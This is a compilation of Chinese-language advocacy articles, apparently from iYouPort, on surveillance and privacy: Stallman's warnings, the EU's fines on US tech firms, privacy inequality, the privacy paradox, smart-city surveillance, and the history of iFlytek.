虽然如今我们每天使用的机器（无论是笔记本电脑还是手机）的计算能力已经大幅提升，但今天我们的大部分计算都发生在少数大型企业的机器上。

我们的电子邮件和办公文档位于Google服务器上。我们与朋友的交流发生在 Facebook 上。我们不再能在自己的机器中存储电子邮件和文档。

人们心甘情愿地放弃对计算的控制。当然，事情变得更方便了。但是，如果我们不为这种便利付费，那谁来支付呢？

这种便利会带来多大的代价？这些是人们一度没有提出的重要问题。

为了方便使用移动技术，我们与一些我们甚至都不知道是谁的人 —— 通常是政府和大公司 —— 分享我们最重要的私密信息。

Edward Snowden 揭露真相时，世界遭遇了第一次震惊。民族国家的主要领导人受到监视的消息在全世界引起了巨大震动。

而对于那些谈论操作自由的人来说，这并不奇怪，只是一个经验验证。

当技术变得非常强大时，除非通过法律和政治手段进行检查，否则它无疑将被用于邪恶的目的。

- 《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》

印度的政治领导层没有对他们受到监视的揭露性信息做出强烈反应。因为该国政府本身就缺乏这样做的道德权威。

事实上，印度拥有自己的监控机器来控制全社会，并且该监控系统一直在不断扩大规模。

斯诺登的启示谈到了一些间接的操纵。随后就出现了有关于英国脱欧和美国大选受到外部干涉的报道；表明了民主国家在这些新技术面前的脆弱性以及这些寡头企业所掌握的庞大权力。

很明显，民主是人们对自己行使权力的制度，它容易受到巨头公司和其他政治利益的影响。

当 Ambani 谈到让印度人民控制印度的数据时，不是为了保护你和我，而是为了保护 Reliance 的利益。因为对他而言，“数据就是新的石油”。

当他试图通过援引甘地和殖民斗争来煽动民族主义的热情时，我们必须带着一点点审慎；用 Reliance 取代 Google 并不是一个解决方案；它可能会让事情变得更糟。

有人可能会想，“我怎么能阻止这一切？我太弱小了无法发挥作用吗？”

Stallman 提醒我们不要陷入这种虚无逻辑的陷阱。这种无助的想法才是导致失败的原因。（更多：《什么是高峰冷漠？从白宫到微信》）

像 Stallman 一样生活，即 不使用现代技术，可能不方便，但并非不可能。他的实践证明了这一点。

Stallman 对新技术的批判性态度与一个不加批判地接受每项技术的社会相对应。

确实，技术帮助人类取得了很多成就；Stallman 本人也对其发展做出了巨大贡献。但是，我们究竟想要成为什么样的社会？

这个问题对我们来说更为重要。对技术进行批判性分析并对其进行民主控制是必要的。技术是政治性的。将技术视为非政治本身就是政治议程的一部分。

所有先知都会面临同样的挑战：即 大多数人都不会理解他们的警告，直到为时已晚并且毁灭已经接近。

他们就像煤矿里的金丝雀。最终，识别信号还是因无视信号而消亡则是由更大的社会来决定的。

如果群聚效应能够识别出利害关系 —— 在此是民主和人权 —— 则可以进行及时更正。

- ○ 目前全球只有两个国家掌握数字殖民的权力，即 中国和美国 —— 高堡奇人。印度是高堡奇人的争夺重点，欧洲也是；现在欧洲正在努力打破高堡奇人，希望印度也能赶上来。最重要的是，相信走出高堡奇人的世界是可能的** Fighting a battle when the odds are against you requires a lot of courage and a strong moral conviction.

原文

讽刺性依赖 - iYouPort

互联网自由-Resist

罚款能解决的问题都不是问题。但是罚款不想解决的问题，才是最致命的问题。欧洲对硅谷巨头的真实心态究竟是什么？

「图」

「图」

你最喜欢的欧洲科技公司是什么？慢慢想，我会等。

瑞典的 Spotify 很有可能是吧，这确实是一项很棒的服务。但是，由于缺乏其他欧洲科技公司的成功，它可能只是个默认的赢家。你可以将 Skype也算进去，该运营最初是在爱沙尼亚成立的，然后才膨胀到了微软拥有的家喻户晓的名字。除非你是一位对企业软件充满热情的公司经理，否则很可能不觉得德国软件巨头 SAP 可以计入其中。

你知道的，欧盟是全球最大的市场之一，拥有世界上最聪明、最具创造力的人才。然而，它并没有产生像苹果、亚马逊或谷歌那样的巨头。

全世界的人每天都使用的是美国的科技产品; 如今没有它们的生活可能比你想象的更难。

尽管欧盟领导层对美国科技公司抱有敌对态度，但对欧盟自己来说尤其困难。

近年来，欧洲一直在将目光投向硅谷，发布了反托拉斯裁决，隐私法规和版权法规，主要针对所有外来的公司。尽管如此，即便他们所谓的敌人完全消失，欧盟自己也不会受益。在某种程度上，欧盟完全依赖于硅谷。

考虑最近针对谷歌 Android 手机操作系统的反托拉斯案。去年，欧盟

公司将其开源 Android 平台与搜索和 Chrome 等其他谷歌产品捆绑在一起，罚款43亿欧元。委员会认为这是反竞争的。

谷歌在上诉期间试图安抚这件事。该公司最近宣布它将向欧洲 Android 用户询问他们在首次设置手机时想要使用哪些软件产品。默认情况下不会是 Chrome 和谷歌搜索，虽然大多数人可能会选择那些，但用户将能够有机会从谷歌的竞争对手的产品中挑选，就像欧盟强迫微软提供给 IE 用户以选择替代浏览器的机会那样。

据推测，这将包括欧洲竞争对手提供的产品。它可能会推动基于欧盟的搜索替代品，如Startpage（顺便说一下，这可能是我最喜欢的欧洲科技企业）。在 Google 的替代品列表中展示的公司可能会在其存在中获得最大的流量突破。然而问题在于，如果没有像谷歌这样的巨头的影响，这是不可能的。

欧盟从美国科技巨头公司中受益的原因还有很多公共选择理由。

想想收入。3月份，欧盟宣布对谷歌的第三方搜索行为处以15亿欧元的罚款（稍后会有更多相关内容）。对于涉及购物搜索结果的反垄断案件而言，增加了 Android 罚款以及另外24亿欧元，这使得仅对 Google 的罚款总额就达到了82亿欧元。

欧盟并不羞于向外国科技公司征收数十亿美元的罚款。最大的一笔曾经是2016年决定向苹果罚款的130亿欧元。更多罚款即将出现。

欧盟每年花费约1370亿欧元。近年来谷歌的82亿欧元约占其中的6%，这大约涵盖了机构的管理成本。作为参考框架，英国每年为欧盟预算提供约90亿欧元的净额。谁害怕英国脱欧？罚款就好像欧盟获得了另一个富有的成员国，同时没有必要支出。

值得注意的是，尽管欧盟对外国科技公司的所有抨击都非常激烈，但欧盟似乎并没有对超越罚款的更强有力的反托拉斯行动感兴趣。

3月，外国科技公司的顶级评论家欧盟竞争委员会的 Margarethe Vestager 从其他反托拉斯鹰派中吸取了热情。但在接受 SXSW 采访时，Vestager 击败了参议员伊丽莎白沃伦提出的打破大型科技公司的提议，称其为“影响深远”的极端措施，将“损伤私人财产”。

这种监管限制似乎令人惊讶。但对于欧盟来说，拆分大公司意味着减少潜在的战利品？

还有一个简单的事实，即欧洲人似乎就像这些公司的网络产品一样。

如果大多数人没有发现这份价值，那么首先就不存在“反托拉斯”问题。如果没有美国提供的云计算，有人会认为欧洲会变得更好吗？在目前的安排中，欧洲可以对外国公司进行一些控制，同时仍然在很大程度上享受其努力的技术成果。他们可以在进行 Google 搜索的同时罚款。

这并不是说大型科技公司不会给他们带来大问题。甚至技术人员也很难理解消费者福利反托拉斯标准如何最好地适应数字时代。很多时候，大型科技公司表明自己是一个简单的坏人。

但是，推翻商业巨头的最佳方式通常是在市场上。事实上，反托拉斯学者认识到，时机是一项永久性的执法挑战。当反竞争活动被确定并且指控通过法院起作用时，昨天的巨人可能已经倒下了。

不是因为美国公司“太好了”欧盟就在技术上落后。欧洲一直在努力创造自己的谷歌，但没有成功，部分原因是他们的政策和对失败的态度是如此糟糕。

他们可以改变。他们可以接受风险和企业家精神，并削减阻止他们的政策。但在欧盟领导人不再将外国竞争对手视为现金奶牛和依赖之前，他们自己的竞争力仍然会变得迟钝。具有讽刺意味的是，正是欧盟的政策环境最终使其依赖外国科技公司。〇

更多《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》

The EU’s Ironic Dependence on Big Tech. Europeans want the best of America’s online services, even as the government keeps soaking them for billions.

原文

隐私不平等的危害 - iYouPort

互联网自由-Resist

我们都以这种或那种方式遭受着不平等。而隐私不平等将是迄今为止最糟糕的，为什么？

「图」

「图」

我们都以这种或那种方式遭受着不平等。

而隐私不平等将是迄今为止最糟糕的，而我们并没有注意到它。相反，我们已经通过我们的行动接受了它。但是，如其他所有类型的不平等一样，我们肯定不能陷入同一陷阱并接受这一陷阱。如果不反击隐私不平等，我们就无法想象一个美好的未来。

究竟什么是隐私不平等？隐私不平等是社会中个人之间的差异，是经济、机会和民主不平等的根源，但与其他任何不平等不同，隐私不平等会走向极端。

隐私不平等有几个特点，但最臭名昭著名的是：它摧毁了我们作为人类最基本的价值；它非人性化。这很残酷。因为它直接面向将遭受更多苦难的人，它创造了两种人—— 可以为隐私付费的人和付不起钱的人；它的损害是指数级的，因为数据的价值会随着时间的推移而增加。它只会变得越来越糟。

隐私是一项基本人权。拥有自己作为一个人的价值是一种权利。正如 Edward Snowden 所说，“隐私权是一种自由思想的权利。没有隐私，你就无法拥有任何东西。“

去年经济学人终于开始承认，“世界上最有价值的资源不再是石油，而是数据”。现在似乎每个人都知道这一点了。但很多人认为这是理所当然的。可公司不断将其推向前沿并从中获取更多来自我们的数据。

当某人或某物侵入您的个人空间（物理或数字空间）以便从您身上榨取货币价值时，隐私就成为了一项人权。

这是我们作为人类的价值，公司和政府从我们这里窃取了这些价值。对此我们做了什么吗？我们只是放弃了，因为我们不知道自己作为人类的价值。

这是隐私不平等的主要来源。隐私越少，差距越大。

当人们无法保护自己时，这就是差距变得更糟的开始。

随着时间的推移，不平等差距会越来越大。

「图」

「图」

如果您从 Whatsapp 对话中选择录音并自行分析，实际上可以非常准确地识别该人的个人资料：年龄，性别，语言，教育程度等等。几年前，应用于AI算法的相同记录可能不会有多大用处，但是今天你可以通过这些算法分析人们的声音从而窥探甚至能预测到人的心理健康状况。

如今你已经可以用数据做很多事。但是，明天可以用相同的数据做些什么呢？如果今天我们可以通过录音来预测个人的心理健康状况，那么从现在起五年后我们能够用相同的数据做些什么？或者10年后？想想看。

10年前，当我们开始以便宜的价格慷慨地放弃我们的数据时，我们当然没有想到这一点。谁能想到曾经在 Facebook 上发布的有趣图片或消息会在如今变成针对我们的长矛利剑呢？

我们无法预测未来，但有了这些信息，我们很容易看出这种不平等将如何影响我们：

- 定价过高的保险
- 贷款被拒
- 负担不起的医疗保健
- 高度针对性的广告
- 政治操纵
- ……

人类已经被分为了两种，一种是能负担得起隐私保护的人，他们明白自己的隐私具有高度的个人价值，并希望保护它；但另一种人无力支付隐私保护费，这些是生活在 Matrix 风格算法中的人。也许他们知道隐私应该是一项人权，但他们可能无法理解其价值及其对自己的影响。

隐私不平等是最残酷的，因为它就像一个加剧经济、机会和民主不平等的全球过滤器。它使人们丧失人性，将社会的不稳定性提升到了一个全新的水平，遭受苦难的人变得更惨。

除非我们一劳永逸地解决这个问题，否则他们就会一直这样告诉你："你想要隐私吗？掏钱买！" 就像 Spotify 或 Netflix 等任何订阅服务那样。在那里，您需要为隐私付费。合法属于你自己的东西，如今居然被出售！但他们真的会这么干。

如果你认为作为新时代石油的数据正在达到顶峰，那你肯定错了，目前只是刚刚开始。

公司和政府都知道最大的不平等即将到来。而且他们也知道，如果他们能够领先并获得比其他任何人更多的数据，他们就会有机会统治市场。

我们必需马上采取明智的做法。如果数据是我们最宝贵的资产并且随着时间的推移而增加其价值，那么从商业角度来看，我们自己拥有更多的资源绝对是有意义的。

Alice Walker 曾经说过："人们放弃权利的最常见方式就是认为自己无能为力"。的确如此。但是我们确实拥有比我们自己能想象到的更多的力量。我们一直都有。现在是时候认识到了，做出需要的改变并创造我们想要的结果。也许我们就可以扭转局面。

Privacy is a human right. It is the right to own your own value as a person. As Edward Snowden said, "Privacy is the right to a free mind. Without privacy, you can't have anything for yourself." "The most common way people give up their power is by thinking they don't have any." We've got more power than we think. We've always had. Now it's time to realize that and make the change we need and create the ending that we want. Maybe we can turn things around after all.

原文

隐私悖论 - iYouPort

互联网自由-Resist

我们目前正面临隐私悖论。公众越来越意识到在线共享数据的风险，但是，无论如何人们依旧在继续暴露自己的隐私数据，甚至暴露的更多了，为什么？

我们目前正面临隐私悖论。公众越来越意识到在线共享数据的风险，但是，无论如何人们依旧在继续暴露自己的隐私数据。事实上，有证据表明，尽管有剑桥分析公司的丑闻和接二连三的各种重大数据泄露事件，但是人们并没有行动起来，而是更倾向于分享自己的数据了，只为贪图“免费”和便利。

Experian 在1月份的一项研究显示，全球70％的消费者“愿意与他们在网上互动的组织分享更多的个人数据，特别是当他们看到更好的在线安全性和便利性等好处时。” 数据创新中心1月份进行的一项调查得出了类似的结论，发现58％的美国人“愿意分享他们最敏感的个人数据”（即生物识别数据，医疗数据和/或位置数据）以换取使用应用程序和服务。

该调查进一步表明，如果能够带来额外的好处，许多用户会接受更多的权衡。例如，70％的美国人最初表示他们不会允许移动应用程序收集生物识别数据而没有明显的目的，但是，如果声称共享此类数据可以让他们更容易登录到帐户并承诺保护免受黑客攻击，那么这个百分比分别下降了8.7％和19.8％。

那么，许多人仍然愿意将他们的数据隐私看作是可以谈判的交易而不是基本人权，即使有剑桥分析，Equifax，Aadhar，喜达屋/万豪等数据泄漏和滥用事件，用户依旧会被诱惑所降服，出卖自己的权利。这是最近其他调查和研究所支持的结论，例如全球数据驱动营销协会联盟（GDMA）和英国DMA在2018年5月发布的全球研究，该研究发现了**10**个国家**77**％的人口不关心数据隐私—— 包括美国，英国，西班牙，法国，德国和荷兰在内。

换句话说，这10个国家的大多数人要么完全不关心数据隐私（占总数

的26%），要么就是“务实的”（51%），这意味着他们说自己是否会放弃个人数据要“根据具体情况而定，取决于收益。”尽管同一项研究的受访者声称他们“非常关注”网络隐私，但仍有这样的比例。82%的美国人报告的关注程度在7到10之间（满分10分）。

令人费解的是，这种对隐私的关注与愿意继续共享个人数据的取向并存。而不是在最近引人注目的违规行为发生之后减少，而且，至少在某些国家人口中，共享数据的意愿似乎只会增加。

例如，相同的 GMDA 报告还指出，自2012年以来，英国人自称“不关心”个人数据的比例增长了9个百分点，从16%增加到25%。同样—也许更令人惊讶的是—“数据原教旨主义者”（“那些不愿提供个人信息的人”）的数量在英国有所下降，从2012年的31%下降到2017年的25%。

在全球范围内，该报告还显示，“不关心数据隐私的人”更可能是年轻一代，而“数据原教旨主义者”可能年纪更大（例如在德国，18–24岁的人中有58%是“不关心“的，所有成年人中有34%不关心）。这表明，随着数据经济中年轻一代的成熟（以及老一代人过世），愿意交出数据的一般人口比例可能会大幅增长。

这种趋势令人不安，尤其是考虑到我们现在所了解的个人数据漏洞有多大。

圣何塞州立大学的电气工程教授兼网络安全专家 Ahmed Banafa 说：“许多不懂科技的人会放弃隐私，以换取便利性，只要他们的个人账户没有发生任何事，他们就不会意识到后果。”Banafa 同意今天存在一些隐私悖论，并指出 Facebook 是个很明确的参照。“看看 **Facebook** 上个季度的结果，你会看到从事 **Facebook** 活动或使用相关应用程序（如**Whatsapp**，**Instagram** 和 **Messenger**）的人数在增加。”

Banafa 指出了一种行为和心理上的解释：我们可能会因数据泄露的报道而感到不安，同时仍然乐观地认为此类违规行为不会影响到自己。Synopsys 的网络安全专家蒂姆·麦基（Tim Mackey）给出了类似的推理：“我们敏锐地意识到影响我们个人权利的数据泄露事件，”他说，“但除非这类事件成为个人的遭遇，否则这个问题在很大程度上只被认为是一个学术问题，从而被忽略了“。

电子隐私信息中心（EPIC）总裁 Marc Rotenberg 指出，隐私悖论也有经济上的解释。“首先，[消费者是否有责任提供更多个人数据]的问

题反映了对互联网经济的深刻误解，”他说。“消费者没有有意义的选择。他们知道这一点。因此，他们不会在隐私政策或隐私设置上浪费时间，这是完全合理的。“

消费者缺乏有意义的选择是由研究证实的。一方面，互联网上几乎每个网站都要求 cookie（跟踪个人网站的使用情况），但2017年12月网络安全公司 Ghostery 的一项研究发现全球79%的网站也跟踪用户的在线移动，即使这些用户正在其他地方浏览。同样，来自 Stony Brook 大学和马萨诸塞大学（以及其他地方）研究人员的另一项2017年研究发现，超过70%的智能手机应用程序向第三方跟踪公司报告个人数据。

正如这些数据和帐户所表明的那样，如果用户想要共同努力保护他们的数据，那么用户可以转向的其他选择很少。更重要的是，隐私悖论的另一个方面使情况变得更糟：通过吸收如此多的用户数据，像 **Facebook** 和谷歌这样的平台使他们提供的服务比竞争对手提供的服务更加个性化和便利，这反过来又使人们更愿意放弃自己的个人数据了。

“我最关心的是，当服务开始使用他们收集的有关您的信息时，优先考虑一个特定的改进指标：参与度，”伯克曼克莱因互联网中心的助理研究主管 David O’Brien 说，“当他们试图使用您的数据时，他们只是在为您提供他们知道您将要点击的标题。这本身就是个问题。因为你不可能从这种服务中获得新知“。

结果是一个危险的恶性循环。用户通常认为，如果自己交出更多数据，他们将获得更好的服务，但很明显，用户数据的不断积累会产生更大的网络安全风险。除了 Cambridge Analytica 丑闻（其中有8700万 Facebook 用户与数字咨询公司共享的数据）之外，2018年 Aadhar（11亿受影响的人），喜达屋/万豪（5亿），Exactis（2.3亿）的数据遭到破坏，还有 Under Armour（1.5亿），Quora（1亿），MyHeritage（9200万）等。

实际上，在有史以来最大的20次数据泄露事件中（见下表），除了两次之外的所有灾难都发生在过去十年中，而在过去的五年中发生了14次。显然，全球经济对数据的依赖带来了严重的风险。PA Consulting 的数据隐私专家 Annelie van Milink 表示，网络安全的进步并不能完全消除这些风险：“无论新技术如何先进和安全，黑客机制（由不断增长的财务或政治动机的黑暗网络推动）都将迎头赶上，违规将继续发生”。

「图」

「图」

正如 EPIC 的 Marc Rotenberg 所说，摆脱这种悖论的一种方法可能是提高透明度。“透明度是有效保护隐私所必需的，这就是为什么隐私法案都会对公司施加透明度义务，并为那些可以收集个人信息的第三方建立访问权限”。

通过强制实施法律框架，公司必须获得明确的用户同意才能收集个人数据，他们必须清楚地显示正在收集的数据类型，并且还必须为用户提供删除其个人数据的机会。

解决方案的另一个关键因素是改善消费者教育，因为如果人们没有足够的意识来充分利用它，更大的透明度并不意味着能解决问题：“数据现已超过石油，成为世界上最宝贵的资源，因此数据经济不会很快消失”。

但即使更多的监管和教育会产生重大影响，一些专家也不确定美国是否会在短期内看到大量的立法发展。David O’Brien 指出，国会更愿意最近讨论数据立法（例如 Marco Rubio 新推出的在线隐私法案），但他补充说，数据收集可能对美国的任何激进或重大监管都具有太重要的经济意义。“我倾向于愤世嫉俗的一面比乐观的一面更多，”他说，“这在很大程度上是因为我们确实拥有基于数据的经济，至少在面向消费者的科技领域。这就是它的生命线，所以一旦你开始干预它，肯定会影响经济。因此，如果我们能够就最佳途径在国会达成某种共识，我会感到惊讶的。“

We’re currently facing a privacy paradox. We, the public, are becoming increasingly aware of the risks of sharing our data online, but we continue to share it, regardless.

原文

世界城市正在成为新加坡 - iYouPort

无处不在，无处可逃-所谓的“智能”是什么

编者按：我们感觉这本书不是很实用，因为它依旧在暗示政府监管“能遏制” 灾难的蔓延。而关于 “公私监控伙伴关系” 的诸多曝光足以显示，政府间谍是技术专制的最大受益人之一。

但至少这本书依旧说出了一些真相。以下是 codastory 与该书作者的交谈。

「图」

「图」

现在人们应该很了解独裁技术如何伪装成所谓的 “智能城市” 潜伏在你身边了。您完全可以称其为 “智能地狱”。

- 在这里看到，西方国家如何帮助中国构建 “智能地狱”《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》
- 在这里看到，究竟是谁发明了这个把利维坦伪装成绵羊的东西？他们偷走了你哪些人权？《智能城市究竟是什么？》
- 以及《监视之城：谷歌打造的地狱世界》
- 在 列表-2 “无处不在，无处可逃” 中看到更多报道

一本新书《数字世界中的智能城市》（Emerald出版）很好地概述了地方和国家政策制定者面临的一些挑战，他们面临着创新和节省公共财政的压力。

正如作者 Vincent Mosco 所论证的那样，智能城市解决方案通常涉及将数据收集和其他服务外包给亚马逊或 Google 等监视资本主义寡头。同时，该技术可以以最阴险的形式使用，就如在中国新疆发生的事那样。

Mosco 的研究表明，全球范围内有大约1000个处于不同规划或开发阶段的智能城市项目，其中约有一半位于中国。印度正在计划建设100个新的智能城市，并提升原有的500个。

codastory 记者最近采访了作者 Vincent Mosco，以下是对话的重点内容，这些内容经过了长度和清晰度的编辑。

Q：今天的智能城市是否与我们过去所见过的各种领地有所不同，例如，亨利·福特（Henry Ford）的福特兰迪亚（Fordlandia），迪斯尼的 Celebration、或 Robert Moses 等计划者建造的大型基础设施项目？

A：我认为它们在某些特定方面是相似的。它们体现了一种私人的主要构建者方式，无论是福特、迪斯尼还是像IBM这样的高科技公司。

智能城市运动代表了美国城市历史上的一个突出观点，即 需要强人、而且往往是（不受政府和法规束缚）的人建造出真正的大城市。

像Google这样的公司是数字化的主要构建者，与过去不同，它们不是在建立工业社会，而是在建立信息社会。

A：过去，大型基础设施项目的建设者经常将政府或官员视为合作伙伴。现在还是这样吗？

Q：我认为科技公司不再认为这是事实。人们有一种狂妄自大的感觉，那就是政府在过去曾经犯了错，而这需要私人创新来修正。

与工业时代的主要建设者的关键区别在于，当时人们感觉政府将成为工业领导者的紧密合作伙伴。虽然由公司高管领导，但这项工作将在政府的协助和监管下进行，以使其合法化。

如今的情况有所不同，私营企业家起着带头作用。像 Peter Thiel 和 Elon Musk 这样的人将他们的项目视为逃避政府的一种方式。

对于所谓的智能城市，我们经常看到侵入性数字技术作为警务形式在大型活动之前推出，我在思考巴西和俄罗斯如何在FIFA世界杯以及2016年夏季奥运会之前使用摄像头监控系统。此后这种技术一直存在。

- 《哪个国家正在建立全世界最大的面部识别网络之一？》

该技术的主要卖点是声称可以更好地“根除犯罪并协助警察和维稳部队”。这始于多年前IBM在世界杯之前的里约热内卢建立了运营中心。

所谓的智能城市技术的布设声称省钱和更好地管理城市的一部分，但其基础是面部识别，它本身就是大规模监视的工具。

我在这本书中强调的要点之一是，纽约的智能城市解决方案最初是出于竞争2012年奥运会的兴趣，并刺激了城市本身庞大的重建，导致了更多的私有化和高档化。

Q：关于算法偏见的文章很多。您认为该如何应对？

A：在智能城市和数字世界中，如果要使用算法，我们就需要使开发和使用的整个过程更加透明。

而现在我们依靠技术专家，而他们对系统内置的种族偏见了解甚少。我们需要对此开放以供私人公民访问。这不一定能为我们提供解决方案，但可以提供监督。

技术倾向于体现其所应用的社会本身存在的所有弊端。我们需要从一开始就认识到我们部署的算法是有偏见的。这将需要更多的法规，因此技术行业会抗拒也就不足为奇了。

我在这方面的经验表明，从引入电报开始，通信和技术行业就抵制监管。Google、亚马逊和 Facebook 对监管的抵制并没有什么新鲜的。

Q：那么，普通人能做什么？

A：城市居民需要夺回自己的城市。在这些技术系统完全主导政府决策以至于很难重新设计它们以使其更具人性化之前，我们需要尽快这样做。

越来越多的人开始认识到仅关注设备是不够的。以 Google Sidewalk Labs 为例，他们设计的所谓智能城市特别值得注意的一点是，他们将仅仅因为你身处该地区而对你进行全方位的跟踪监视。

监视摄像头、销售点记录仪、能源系统等等，将监控您的所有使用情况。不论是通信、运输、人行道、还是路灯，都是间谍。你无法下线、无法注销。

在网上您还可能傻傻地点击那个 “我同意” 框，在现实中可没有这种选择，只要你进入这个城市，就等于默认成为囚徒。

而这种城市正变得越来越多，其结果是什么？很明显，整个世界都是监狱。

Q：您是否担心像印度或中国这样的国家的公民更容易受到智能城市的控制？

A：我们需要对此深切关注。新加坡正在成为全球智能城市发展的实验室。中国通过运用相当专制的技术（例如 社会信用评分体系来跟踪任何人的所有活动并将其用作奖惩指标），已经从新加坡的版本中脱颖而出。

如果您碰巧受到监视，无论是否在参加示威活动中，都可能影响您的社会信用评分，获得福利的权利、上学的权利、甚至使用公交系统的权利等。

印度的不同之处在于，尽管国家参与资助并获得收益，但许多私营公司主导监视项目。

Q：有些人要求停止这种独裁技术的销售。您认为阻止销售会有所帮助吗？

A：在我看来，这可能还远远不够。狭义的威权政权定义会包括中国在内的国家。但是，我们已经看到诸如美国和英国这样的国家中的威权主义趋势正在兴起。谷歌和亚马逊在美国协助那些应受谴责的政府监视系统。

我认为阻止监视技术销售是一个好的开始，但我们需要认识到，中国和沙特并不是唯一值得警惕的政府。西方政府在此也一样。

其他新闻

codastory 记者参观了伦敦泰特现代美术馆的一个新展览。由包括 Romy Gad el Rab 和 Caroline Sinders 在内的许多创作者提出的 “Higher Resolution”，在日常环境中模拟 Twitter 和 Facebook 等平台。

访客被鼓励坐在公开的 “客厅”、“市政厅”、甚至 “厕所” 里，尽可能大声地和陌生人说话，就像在社交媒体平台上那样。

那些访问展览的英国人似乎有些犹豫地接受了这个想法。

也就是说，让人们直观地体验到在社交媒体发布的任何内容都是完全公开的，就如同陌生人围观您上厕所一样。

和华盛顿特区的人脸识别抗议活动类似，这类活动都很有意义，利用 “让隐形可见” 原理，帮助人们更深刻地感受监视和暴露的危险。〇

The world’s cities are becoming Singapore

原文

中国AI巨头让监视如此容易 - iYouPort

作恶者：谁在帮中国无处不在，无处可逃-所谓的“智能”是什么

在美国，有 Alexa 和 Siri 时刻监视着你；在中国，语音计算公司 iFlytek 也构建了类似的所谓智能助手，受到用户的喜爱。它的技术也正在帮助政府窃听你的意见 ……

「图」

「图」

1937年，也就是乔治·奥威尔在西班牙与法西斯分子作战时脖子中弹的那一年，Julian Chen 出生在上海。他的父母是音乐教师和化学家，让他在一所由基督教传教士开办的学校就读，和奥威尔一样，他也被语言所吸引。

他学习英语、俄语和普通话，而在家里说上海话。后来他又学习了法语、德语和日语。

1949年，也就是毛泽东上台和奥威尔出版《1984》的那一年，学习外语在中国变得很危险。在50年代末的大清洗中，知识分子被告发、送进劳改营，甚至被处决。当时还是著名的北京大学学生的陈，被流放到北京玻璃厂。

陈的工作是把煤和灰从工厂的炉子里拉出来。他通过听同事说话来保持头脑的灵活。晚上，在工人宿舍里，他为北京方言编纂了一本语言民族学。1960年前后，他完成了这本书。不久，共产党的爪牙就把书没收了。

毛泽东死后，他的命运有所好转，因为共产党的领导人意识到中国的经济需要知识分子才能发展。1979年，42岁的陈老回到学校，他的成绩为他赢得了几十年来第一批出国研究生的名额。

他移居美国，在哥伦比亚大学获得物理学博士学位。当时，美国提供了比中国更多的机会，和许多同龄人一样，陈毕业后留了下来，在

IBM找到了一份工作，从事物理科学研究。

IBM曾开发出世界上第一款语音识别软件，让专业人士不用接触键盘就能口述信息，1994年，该公司开始找人把它改编成普通话。这不是陈的领域，但他急切地自告奋勇。

陈马上意识到，在中国，语音识别软件能提供的远远不止是办公人员的听写工具，他相信它将彻底改变母语的交流方式。

作为计算机时代的书面语言，中文长期以来一直面临着一个独特的挑战：没有明显的方法在 QWERTY 键盘上输入5万多个字符。

到了20世纪80年代，随着中国第一台个人电脑的到来，程序员们想出了几种变通的方法。最常见的方法是使用拼音。使用这种方法，写“猫”时，你会输入“m-a-o”，然后从一个下拉菜单中选择猫这个字，这个下拉菜单还包括“贸”和“帽”等等同音字，以及毛泽东的姓氏。由于普通话的同音字太多，打字成了一种低效的选字练习。

为了建立他的听写引擎，陈将普通话分解成最小的元素，即音素。然后，他招募了54名居住在纽约的中国人，并记录他们阅读《人民日报》的文章。

IBM在北京的研究实验室又增加了300名发言者的样本。1996年10月，在他测试了这个系统后，陈飞到中国，在一次语音技术会议上展示了这个名为 ViaVoice 的软件。

在一间挤满了人的房间里，贴着艳丽的墙纸，陈大声朗读着当天的报纸。在他面前，短暂的延迟后他的话就出现在大屏幕上。他读完后，环顾四周，见人们都盯着他，张口结舌。一个研究员举起手来，说要试一试。他把话筒递了过去，人群中一阵议论。ViaVoice 也准确地显示出了那个人的话。

1997年，ViaVoice 首次在中国亮相，包装盒上写着：“电脑能听懂普通话! 解放双手，你的思想就会活起来”。

同年，江泽民坐镇演示。很快，全中国的PC制造商 —— 包括IBM的竞争对手 —— 都在他们的设备上预装了该软件。

与电脑自由对话的时代还很遥远，ViaVoice 也有它的局限性，但该软件缓解了令人头疼的中文文字输入，并在中国的专业阶层中流行起来。“它成了当时唯一的游戏”，陈回忆说。

但对于一些留在中国的学者来说，一个为美国公司工作的研究人员，却为征服汉语迈出了第一步，这让他们感到刺痛。他们觉得，中国需要与陈的所作所为 “相匹配”。

「图」

「图」

在IBM的 “胜利” 激励下，合肥著名的中国科技大学语音识别实验室里，26岁的博士生刘庆峰也在其中。

1999年，还在科大时，刘庆峰就创办了一家名为 iFlytek 的语音技术公司。当时的目标，似乎不仅仅是与IBM和其他外国公司竞争，而是要创造出能收回中国人骄傲的产品。

- 关于中国监控技术巨头 **iFlyTek**：《中国在西藏构建了强悍的数字隔离墙》
- 以及《人工智能新冷战—— AI和5G如何变成一场噩梦》
- 还有《中国的反乌托邦监视国家是美国制造的》
- 更多 见 列表-4 “作恶者：谁在帮中国”

早期，刘和他的同事们在科大校园里工作。后来，他们搬到了合肥的其他地方。那是一个二线城市 —— 科技大学在文革期间被搬迁到那里 —— 但留在合肥意味着 iFlytek 接近了大学的知识人才。

当刘向当时的微软亚洲研究部负责人李开复解释他的商业理念时，李开复警告说，要想赶上美国的语音识别巨头是不可能的。在美国，这个行业除了IBM和微软之外，还有多家强大的公司，包括 BellSouth、Dragon 和最近从非营利性研究实验室 SRI International 分拆出来的 Nuance Communications。这些公司陷入了克服2000年早期计算的局限性建立一个不令用户气愤的声机界面的苦战中，但他们远远领先于中国的竞争对手。

刘没有听从李的警告。即使语音界面技术是一个拥挤的、不光彩的小众领域，刘的雄心壮志也让它有了高高在上的道德紧迫感。

“语音是文化的基础，也是一个国家的象征”，他后来在讲述 iFlytek 的起源故事时说，“很多人认为他们” —— 指的是外国公司 —— “掐住了我们的喉咙”。当他团队的一些成员建议公司多元化发展，进军房地产时，刘态度坚决：任何不相信语音技术的人都可以离开了。

美国的 Nuance 正在帮助企业客户开始自动化其呼叫中心，用语音激

活的电话菜单（“要付款，说‘付款’）取代人工总机操作员。iFlytek 通过为电信公司华为做同样的工作而起步。

iFlytek 于2008年上市，并在2010年推出了一款重要的消费级产品 —— 应用 iFlytek Input。同年，苹果的 iPhone 开始搭载由SRI国际公司开发并被苹果收购的 Siri。

但 Siri 是一个所谓的 “个人助理” —— 一个会说话的数字礼宾员，可以回答问题，而 iFlytek Input 则更专注。它允许人们在手机上的任何地方听写文字：在电子邮件中，在网络搜索中，或者在微信上，这个在中国工作和娱乐中占主导地位的超级应用。

- 《苹果的Siri 正在偷听你的私人谈话》
- 《邪恶列表—您了解这些邪恶公司吗？》

